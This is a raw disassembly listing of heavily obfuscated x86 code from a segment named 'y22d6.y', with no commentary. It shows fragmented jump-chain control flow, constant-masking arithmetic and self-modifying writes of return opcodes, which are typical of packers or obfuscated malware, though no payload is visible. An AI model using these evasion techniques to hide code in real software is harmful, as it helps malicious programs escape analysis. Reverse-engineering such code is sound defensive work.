		push	49D09350h
		pop	edi
		jmp	loc_43FB80
; ---------------------------------------------------------------------------

loc_437FC0:				; CODE XREF: y22d6.y.:0043EAB6j
		jnp	loc_444894
		ja	nullsub_331
		jmp	loc_44071C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7B5

loc_437FD1:				; CODE XREF: sub_43B7B5+BCA0j
		test	eax, edi
		jmp	loc_447D34
; END OF FUNCTION CHUNK	FOR sub_43B7B5

; =============== S U B	R O U T	I N E =======================================



sub_437FD8	proc near		; DATA XREF: sub_44A46F-D167o

; FUNCTION CHUNK AT 00438B28 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043A2EB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043AB65 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C2EA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E0C4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E30E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043FEFE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441949 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442395 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00447274 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0044DA1E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044DDFC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E1FC SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	al, [eax]
		jns	loc_43C2EA
		jmp	loc_43E0C4
sub_437FD8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_437FEE:				; CODE XREF: sub_44BCC2-646Bj
		jz	loc_43EA44
		jmp	loc_444E09
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4431CD

loc_437FF9:				; CODE XREF: sub_4431CD-43FAj
		add	ecx, 77F2B64Ah
		xchg	ecx, [esp+0]
		jmp	loc_437618
; END OF FUNCTION CHUNK	FOR sub_4431CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A1BC

loc_438007:				; CODE XREF: sub_43A1BC+Aj
		call	sub_44485F
		or	eax, eax
		push	offset loc_4392FA
		jmp	loc_43B0CA
; END OF FUNCTION CHUNK	FOR sub_43A1BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F08

loc_438018:				; CODE XREF: sub_441F08:loc_43F000j
		pop	eax
		and	eax, 32BDCBBCh
		jns	loc_44AF5B
		ja	sub_444865
		jmp	loc_44AF46
; END OF FUNCTION CHUNK	FOR sub_441F08
; ---------------------------------------------------------------------------

locret_438030:				; CODE XREF: y22d6.y.:loc_43875Aj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44371A

loc_438031:				; CODE XREF: sub_44371A-5FA8j
		jmp	loc_442586
; END OF FUNCTION CHUNK	FOR sub_44371A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43734D

loc_438036:				; CODE XREF: sub_43734D+6120j
		jmp	nullsub_42
; END OF FUNCTION CHUNK	FOR sub_43734D
; ---------------------------------------------------------------------------

loc_43803B:				; CODE XREF: y22d6.y.:0043869Bj
		jmp	loc_438D41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_438040:				; CODE XREF: sub_440280+75F7j
		xor	eax, 0AC9D8E6h
		add	eax, ebp
		add	eax, 0A8DD454h
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_43FBCC
		jmp	loc_4488EC
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------

loc_43805E:				; CODE XREF: y22d6.y.:00447F91j
		add	esi, 0EB20CC41h
		mov	[esi], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_438068:				; CODE XREF: sub_43B09B+15j
		jmp	loc_443F10
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43806D:				; CODE XREF: sub_4432B8+2DAj
					; y22d6.y.:004477DBj
		push	offset sub_44B65D
		jmp	loc_43F08C
; END OF FUNCTION CHUNK	FOR sub_4432B8

; =============== S U B	R O U T	I N E =======================================



sub_438077	proc near		; DATA XREF: y22d6.y.:004394E9o

; FUNCTION CHUNK AT 0043CA6D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043EAAF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440076 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DBF7 SIZE 00000006 BYTES

		push	esi
		push	5A064110h
		pop	esi
		rol	esi, 1Bh
		cmp	esi, 0A032305h
		jmp	loc_43EAAF
sub_438077	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43808C:				; CODE XREF: sub_4432B8:loc_443D6Bj
		mov	byte ptr [eax],	0C3h
		jmp	loc_43F4FC
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BC16

loc_438094:				; CODE XREF: sub_43BC16j
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	offset loc_4430D1
		jmp	loc_44D41C
; END OF FUNCTION CHUNK	FOR sub_43BC16
; ---------------------------------------------------------------------------

loc_4380A2:				; CODE XREF: y22d6.y.:0043E93Dj
		push	offset sub_449F1B
		jmp	loc_440FA8

; =============== S U B	R O U T	I N E =======================================



sub_4380AC	proc near		; CODE XREF: sub_4450FD-D350p
					; y22d6.y.:00448D38j
		xchg	ecx, [esp+0]
		pop	ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_4380AC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4441D9

loc_4380B4:				; CODE XREF: sub_4441D9+7F3Dj
		jmp	loc_43F091
; END OF FUNCTION CHUNK	FOR sub_4441D9
; ---------------------------------------------------------------------------

loc_4380B9:				; CODE XREF: y22d6.y.:004497FAj
		jmp	loc_43BCB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4416CB

loc_4380BE:				; CODE XREF: sub_4416CB+7C27j
		jmp	loc_44B8D4
; END OF FUNCTION CHUNK	FOR sub_4416CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439F5A

loc_4380C3:				; CODE XREF: sub_439F5A+9987j
		jmp	loc_43AA9E
; END OF FUNCTION CHUNK	FOR sub_439F5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4380C8:				; CODE XREF: sub_4432B8-A593j
		jmp	loc_44162F
; END OF FUNCTION CHUNK	FOR sub_4432B8

; =============== S U B	R O U T	I N E =======================================



sub_4380CD	proc near		; CODE XREF: sub_4450FD:loc_44745Ap
					; sub_44B0E5+Ap

; FUNCTION CHUNK AT 0043DE95 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448587 SIZE 0000000A BYTES

		push	ebp
		jmp	loc_43DE95
sub_4380CD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DB81

loc_4380D3:				; CODE XREF: sub_44DB81:loc_4456D5j
					; sub_44DB81+365j
		mov	eax, [esp+0]
		call	sub_4396B2

loc_4380DB:				; CODE XREF: sub_44DB81-6116j
					; sub_44DB81+4CFj
		xchg	eax, [esp+0]
		mov	edx, eax
		call	sub_44D088
		jmp	loc_4450D7
; END OF FUNCTION CHUNK	FOR sub_44DB81
; ---------------------------------------------------------------------------
		cmp	esi, 89D265E8h
		jmp	loc_439A72
; ---------------------------------------------------------------------------

loc_4380F5:				; CODE XREF: y22d6.y.:loc_440F74j
		call	sub_44A9DF
		or	eax, eax
		jnz	loc_438B14
		jmp	loc_442379
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_438107:				; CODE XREF: sub_448EB6+3FBAj
		xor	ecx, 59DF8590h
		cmp	ecx, 0A66CC5BAh
		jmp	loc_44933E
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442856

loc_438118:				; CODE XREF: sub_442856:loc_44182Aj
		jz	loc_440F58
		jmp	loc_44280A
; END OF FUNCTION CHUNK	FOR sub_442856
; ---------------------------------------------------------------------------

loc_438123:				; CODE XREF: y22d6.y.:00441FDEj
		or	eax, eax
		jnz	loc_448EAC
		jmp	loc_44D720
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BBBA

loc_438130:				; CODE XREF: sub_44BBBA:loc_44B966j
		jnz	loc_44941D
		jmp	loc_438D9F
; END OF FUNCTION CHUNK	FOR sub_44BBBA
; ---------------------------------------------------------------------------
		pop	ebp
		jmp	loc_43DD72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_438141:				; CODE XREF: sub_449641:loc_4415F1j
		xor	edi, 25C6CCCEh
		or	edi, 0C28B325Bh
		and	edi, 470DE5F8h
		add	edi, 0BD39FDDBh
		xchg	edi, [esp+0]
		jmp	loc_443EEC
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA9E

loc_438161:				; CODE XREF: sub_43BA9E+11E9Fj
		jnz	loc_4452DD
		jmp	loc_4482B8
; END OF FUNCTION CHUNK	FOR sub_43BA9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439051

loc_43816C:				; CODE XREF: sub_439051-446j
		ror	eax, 1Ch
		jz	loc_440BBF
		push	esi
		push	0BBDFE455h
		xchg	ebp, [esp+0]
		mov	esi, ebp
		pop	ebp
		or	esi, 3DF85826h
		jmp	loc_4415EB
; END OF FUNCTION CHUNK	FOR sub_439051
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43818C:				; CODE XREF: sub_4432B8:loc_448878j
		jmp	ds:dword_41E148
; END OF FUNCTION CHUNK	FOR sub_4432B8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_331. PRESS KEYPAD	"+" TO EXPAND]
		db 85h
		dd 56E1h, 24048B5Ah, 0E9F28B56h, 12105h, 783FCF81h, 0F5E9F163h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4481EF

loc_4381AF:				; CODE XREF: sub_4481EF:loc_43F7C9j
		call	sub_44CDB7
		mov	eax, 0FFB060E7h
		push	ebx
		push	9DF32D3Ch
		pop	ebx
		jmp	loc_44755F
; END OF FUNCTION CHUNK	FOR sub_4481EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441000

loc_4381C5:				; CODE XREF: sub_441000+Bj
		pop	ecx
		or	ecx, 0CB6D2998h
		rol	ecx, 1
		cmp	ecx, 0E3253181h
		jmp	loc_43EE54
; END OF FUNCTION CHUNK	FOR sub_441000
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44313A

loc_4381D9:				; CODE XREF: sub_44313A-100Cj
		add	edi, 0F6A01FF2h
		mov	[edi], eax
		pop	edi
		lea	eax, loc_4437A8
		mov	byte ptr [eax],	0C3h
		jmp	loc_4437A8
; ---------------------------------------------------------------------------

loc_4381F0:				; CODE XREF: sub_44313A:loc_4437A8j
		pop	edx
		jmp	loc_44B20C
; END OF FUNCTION CHUNK	FOR sub_44313A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B01

loc_4381F6:				; CODE XREF: sub_437B01:loc_4488F1j
		jnz	loc_43D697
		jmp	loc_43BD72
; END OF FUNCTION CHUNK	FOR sub_437B01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D025

loc_438201:				; CODE XREF: sub_43D025:loc_43C15Aj
		mov	eax, [eax-8]
		or	eax, 8
		or	eax, 10h
		mov	edx, [ebp+8]
		mov	[edx-8], eax
		jmp	loc_43A882
; ---------------------------------------------------------------------------

loc_438215:				; CODE XREF: sub_43D025+B29Cj
		call	sub_43B98D

loc_43821A:				; CODE XREF: y22d6.y.:004405B2j
		popf
		jmp	loc_449F01
; END OF FUNCTION CHUNK	FOR sub_43D025
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BBBA

loc_438220:				; CODE XREF: sub_44BBBA:loc_44B9E8j
		xchg	edx, [esp+0]
		mov	eax, edx
		pop	edx
		rol	eax, 4
		cmp	eax, 389333C6h
		jmp	loc_43B58A
; END OF FUNCTION CHUNK	FOR sub_44BBBA
; ---------------------------------------------------------------------------
		or	ecx, 0A8DD3059h
		jmp	sub_4436DB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_49. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD64

loc_438240:				; CODE XREF: sub_43AD64-134j
		jmp	loc_43886A
; END OF FUNCTION CHUNK	FOR sub_43AD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF1F

loc_438245:				; CODE XREF: sub_43DF1F+Ej
		and	ecx, 0CD68DAF8h
		rol	ecx, 0Ch
		xor	ecx, 6230F253h
		add	ecx, 91A978DEh
		xchg	ecx, [esp+0]
		jmp	loc_43D9FE
; END OF FUNCTION CHUNK	FOR sub_43DF1F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D063

loc_438262:				; CODE XREF: sub_44D063:loc_44016Dj
		pop	eax
		add	eax, 7702642Bh
		rol	eax, 14h
		and	eax, 79947E35h
		xor	eax, 0D73C5286h
		push	ebx
		push	0CA53840Fh
		pop	ebx
		jmp	loc_43F1CE
; END OF FUNCTION CHUNK	FOR sub_44D063
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D20E

loc_438284:				; CODE XREF: sub_43D20E:loc_439806j
		add	eax, [ebp-4]
		add	eax, 18h
		mov	[ebp-10h], eax
		mov	eax, [ebp-10h]

loc_438290:				; CODE XREF: y22d6.y.:loc_44607Cj
		jmp	loc_447165
; ---------------------------------------------------------------------------

loc_438295:				; CODE XREF: sub_43D20E:loc_44CBB1j
		xor	eax, eax
		jmp	loc_445DAC
; END OF FUNCTION CHUNK	FOR sub_43D20E
; ---------------------------------------------------------------------------

loc_43829C:				; CODE XREF: y22d6.y.:0043DD2Fj
		or	edx, edx
		jnz	loc_443BC5

loc_4382A4:				; CODE XREF: y22d6.y.:0044BEB7j
		jmp	loc_438BB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4480DE

loc_4382A9:				; CODE XREF: sub_4480DE:loc_4485FFj
		test	al, al
		jnz	loc_445FB4
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	0E8h
		jmp	loc_4402B4
; END OF FUNCTION CHUNK	FOR sub_4480DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C77

loc_4382BC:				; CODE XREF: sub_448C77:loc_44B4EEj
		js	loc_44AA0E
		mov	[edx], ebp
		jmp	loc_439BAC
; END OF FUNCTION CHUNK	FOR sub_448C77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F422

loc_4382C9:				; CODE XREF: sub_43F422+5BA0j
		shl	eax, 3
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		shr	eax, 0Bh
		xor	[ebp-8], eax
		jmp	loc_44E32F
; END OF FUNCTION CHUNK	FOR sub_43F422
; ---------------------------------------------------------------------------

loc_4382DD:				; CODE XREF: y22d6.y.:loc_441D22j
		jz	loc_44CAA8
		jmp	loc_44C6DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A359

loc_4382E8:				; CODE XREF: sub_44A359-A70Cj
		jl	loc_44CC70

loc_4382EE:				; CODE XREF: sub_4437B8+9j
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_44A359
; ---------------------------------------------------------------------------
		jg	loc_44E31F
		jmp	loc_44CC6E

; =============== S U B	R O U T	I N E =======================================



sub_4382FE	proc near		; CODE XREF: y22d6.y.:0043A3FDp
					; y22d6.y.:0044B043j

; FUNCTION CHUNK AT 00444F5F SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	edx, 40B70A4Dh
		mov	[edx], eax
		pop	edx
		lea	eax, loc_43FFF9
		mov	byte ptr [eax],	0C3h
		jmp	loc_444F5F
sub_4382FE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4428C2

loc_438319:				; CODE XREF: sub_4428C2+Dj
		cmp	eax, 0E619BA64h
		jmp	loc_4391C6
; END OF FUNCTION CHUNK	FOR sub_4428C2
; ---------------------------------------------------------------------------
		cmp	edi, edx
		jmp	loc_445110

; =============== S U B	R O U T	I N E =======================================



sub_43832B	proc near		; CODE XREF: y22d6.y.:0043951Cp
					; y22d6.y.:004410DBj
		xchg	esi, [esp+0]
		pop	esi
		lea	eax, nullsub_59
		call	sub_447C9E
sub_43832B	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_449641

loc_43833A:				; CODE XREF: sub_449641:loc_43F294j
		or	edx, 609352ADh
		add	edx, 0AC69ED3Bh
		add	edx, ebp
		add	edx, 0D3C24004h
		call	sub_44BAC8
; END OF FUNCTION CHUNK	FOR sub_449641
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_438353:				; CODE XREF: sub_4432B8:loc_4426BAj
		xchg	ecx, [esp+4+var_4]
		jmp	loc_4429E6
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
		push	ecx
		push	8E559562h
		pop	ecx
		and	ecx, 2488B9EBh
		sub	ecx, 6FA04F9Ch
		add	ecx, 6BE19EEEh
		jmp	loc_44B27A
; ---------------------------------------------------------------------------

loc_438379:				; CODE XREF: y22d6.y.:0043BE3Aj
		jnb	sub_445629

; =============== S U B	R O U T	I N E =======================================



sub_43837F	proc near		; CODE XREF: sub_43837F+4C9Cp

; FUNCTION CHUNK AT 00438F50 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043A441 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AB45 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0043AC7E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B2F8 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0043C41B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D011 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043D4E7 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043E974 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440105 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00443C6B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445569 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00447302 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044A510 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044AEEB SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044BD75 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		jnz	loc_440105
		mov	eax, 6
		sub	eax, [ebp-0Ch]
		mov	[ebp-0Ch], eax
		jmp	loc_43AB5A
sub_43837F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_438399	proc near		; CODE XREF: sub_449956-B35Bp
					; y22d6.y.:00446487j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439315 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0044D0D1 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	0B7E714BFh
		pop	eax
		xor	eax, 2E125C89h
		jmp	loc_44D0D1
sub_438399	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sbb	eax, edi
		jmp	loc_4472B5
; ---------------------------------------------------------------------------

loc_4383B5:				; CODE XREF: y22d6.y.:0043AADAj
		jz	loc_4437C6
		jmp	loc_44BF67
; ---------------------------------------------------------------------------
		jmp	ds:off_41E170
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_4383C6:				; CODE XREF: sub_448EB6+271j
		jmp	nullsub_132
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4383CB:				; CODE XREF: sub_4432B8-1DA5j
		jmp	nullsub_54
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_4383D0:				; CODE XREF: sub_44271A-560Ej
		jmp	loc_445C46
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EC01

loc_4383D5:				; CODE XREF: sub_43EC01:loc_43A395j
					; y22d6.y.:00444DF0j ...
		xchg	eax, [esp+0]
		mov	edx, eax

loc_4383DA:				; CODE XREF: y22d6.y.:loc_43A5E5j
		pop	eax
		jmp	loc_437A0A
; END OF FUNCTION CHUNK	FOR sub_43EC01

; =============== S U B	R O U T	I N E =======================================



sub_4383E0	proc near		; CODE XREF: sub_448EB6:loc_44424Aj
					; sub_447940-3632p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043C4E3 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043D189 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043D835 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043F1C4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443F10 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004453DB SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00445B08 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00445EB1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00445ED3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044747B SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00447739 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00448B0E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044B64E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044B970 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044E1F7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E5C2 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		pop	edx
		pushf
		push	9481EF16h

loc_4383EB:				; CODE XREF: y22d6.y.:0044569Fj
		pop	eax
		add	eax, 84ADC96h
		jnz	loc_44747B

loc_4383F8:				; CODE XREF: sub_43A148+90A0j
		jz	loc_443F10
		cmp	ecx, 604E5D78h
		jmp	loc_445ED3
sub_4383E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_438409:				; CODE XREF: y22d6.y.:loc_4494B4j
		or	edx, 5B09796Ch
		xor	edx, 798F6452h
		sub	edx, 592E9C5h
		test	edx, 8000h
		jmp	loc_439208
; ---------------------------------------------------------------------------

loc_438426:				; DATA XREF: y22d6.y.:0044923Ao
		xchg	edx, [esp]
		jmp	loc_44D3AC
; ---------------------------------------------------------------------------
		xor	eax, ebx
		jmp	loc_444540
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_264. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_438436:				; CODE XREF: sub_44B17B-2E0Cj
		jmp	loc_44A4D4
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
byte_43843B	db 5Ah			; DATA XREF: sub_43DA98o
		dd 11FF850Fh, 48B0000h,	0EFF5E824h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43844A:				; CODE XREF: y22d6.y.:0043AF27j
					; sub_448EB6-A0CBj
		sub	eax, 0C990AEEEh
		xor	eax, 0EDBCD6F7h
		add	edx, eax
		pop	eax
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_43DD1E
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_438464:				; CODE XREF: y22d6.y.:loc_43903Bj
		jz	loc_4479AB
		jmp	loc_446110
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4424AC

loc_43846F:				; CODE XREF: sub_4424AC:loc_44C2BAj
		pop	edi
		xor	edi, 355B9BD3h
		test	edi, 100000h
		jmp	loc_440315
; END OF FUNCTION CHUNK	FOR sub_4424AC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_67. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CC9B

loc_438482:				; CODE XREF: sub_44CC9B+1Cj
		jmp	sub_442060
; END OF FUNCTION CHUNK	FOR sub_44CC9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43923C

loc_438487:				; CODE XREF: sub_43923C+33E9j
		jmp	sub_44CDB7
; END OF FUNCTION CHUNK	FOR sub_43923C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441000

loc_43848C:				; CODE XREF: sub_441000-9704j
		jmp	sub_44D293
; END OF FUNCTION CHUNK	FOR sub_441000
; ---------------------------------------------------------------------------

loc_438491:				; CODE XREF: y22d6.y.:loc_4413ECj
		lea	eax, loc_443878
		mov	byte ptr [eax],	0C3h
		jmp	loc_443878

; =============== S U B	R O U T	I N E =======================================



sub_43849F	proc near		; CODE XREF: sub_40300B+B1p
					; sub_43849F+5j
					; DATA XREF: ...
		call	sub_4384B4
		jmp	ds:off_41E20C
sub_43849F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EC1C

loc_4384AA:				; CODE XREF: sub_43EC1C+181Cj
		jmp	loc_44DBE1
; END OF FUNCTION CHUNK	FOR sub_43EC1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E63

loc_4384AF:				; CODE XREF: sub_439E63+Aj
		jmp	loc_43A05F
; END OF FUNCTION CHUNK	FOR sub_439E63

; =============== S U B	R O U T	I N E =======================================



sub_4384B4	proc near		; CODE XREF: sub_43849Fp
					; sub_449A8B:loc_445185j ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043AAB9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043DADE SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043E94E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F1E3 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00445431 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044A0F2 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0044C393 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D3EF SIZE 00000005 BYTES

		jno	loc_44A109
		pop	edx
		mov	eax, [esp-4+arg_0]
		jmp	loc_43DADE
sub_4384B4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4404E5

loc_4384C3:				; CODE XREF: sub_4404E5:loc_4486CBj
		add	eax, 4
		mov	edx, [eax]
		mov	al, 1
		call	edx
		call	sub_446082

loc_4384D1:				; CODE XREF: sub_43B921+Cj
		jmp	loc_43D9A1
; END OF FUNCTION CHUNK	FOR sub_4404E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F750

loc_4384D6:				; CODE XREF: sub_43F750-524Ej
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_43F750
; ---------------------------------------------------------------------------

loc_4384DB:				; DATA XREF: sub_4464C8-EA95o
		xchg	ebx, [esp]
		push	edi
		push	9FB4D7C1h
		pop	edi
		or	edi, 0DA14F4FBh
		and	edi, 0D8D7D821h
		add	edi, 27AEE33Ah
		jmp	loc_445ABF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_51. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4384FD:				; CODE XREF: y22d6.y.:loc_44BAB3j
					; y22d6.y.:0044D970j
		jz	loc_438D00
		jmp	loc_443AE0
; ---------------------------------------------------------------------------
		xchg	edx, esi
		jge	loc_44BC98
		jmp	sub_43AD3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447CBE

loc_438515:				; CODE XREF: sub_447CBE:loc_44B301j
		call	sub_44B17B
		test	al, al
		jz	loc_443106
		jmp	loc_446DE2
; END OF FUNCTION CHUNK	FOR sub_447CBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B674

loc_438527:				; CODE XREF: sub_44B674-D458j
		sub	ebp, edx
		jmp	loc_444ECB
; END OF FUNCTION CHUNK	FOR sub_44B674
; ---------------------------------------------------------------------------

loc_43852E:				; CODE XREF: y22d6.y.:00439001j
		mov	ebx, edi
		sbb	esi, ebx
		mov	eax, 5958F365h

loc_438537:				; CODE XREF: y22d6.y.:loc_438FEBj
		add	esi, 1CB72B29h
		mov	[esi], eax
		pop	esi
		jmp	loc_445E3C
; ---------------------------------------------------------------------------
		popf
		jge	loc_43CED3
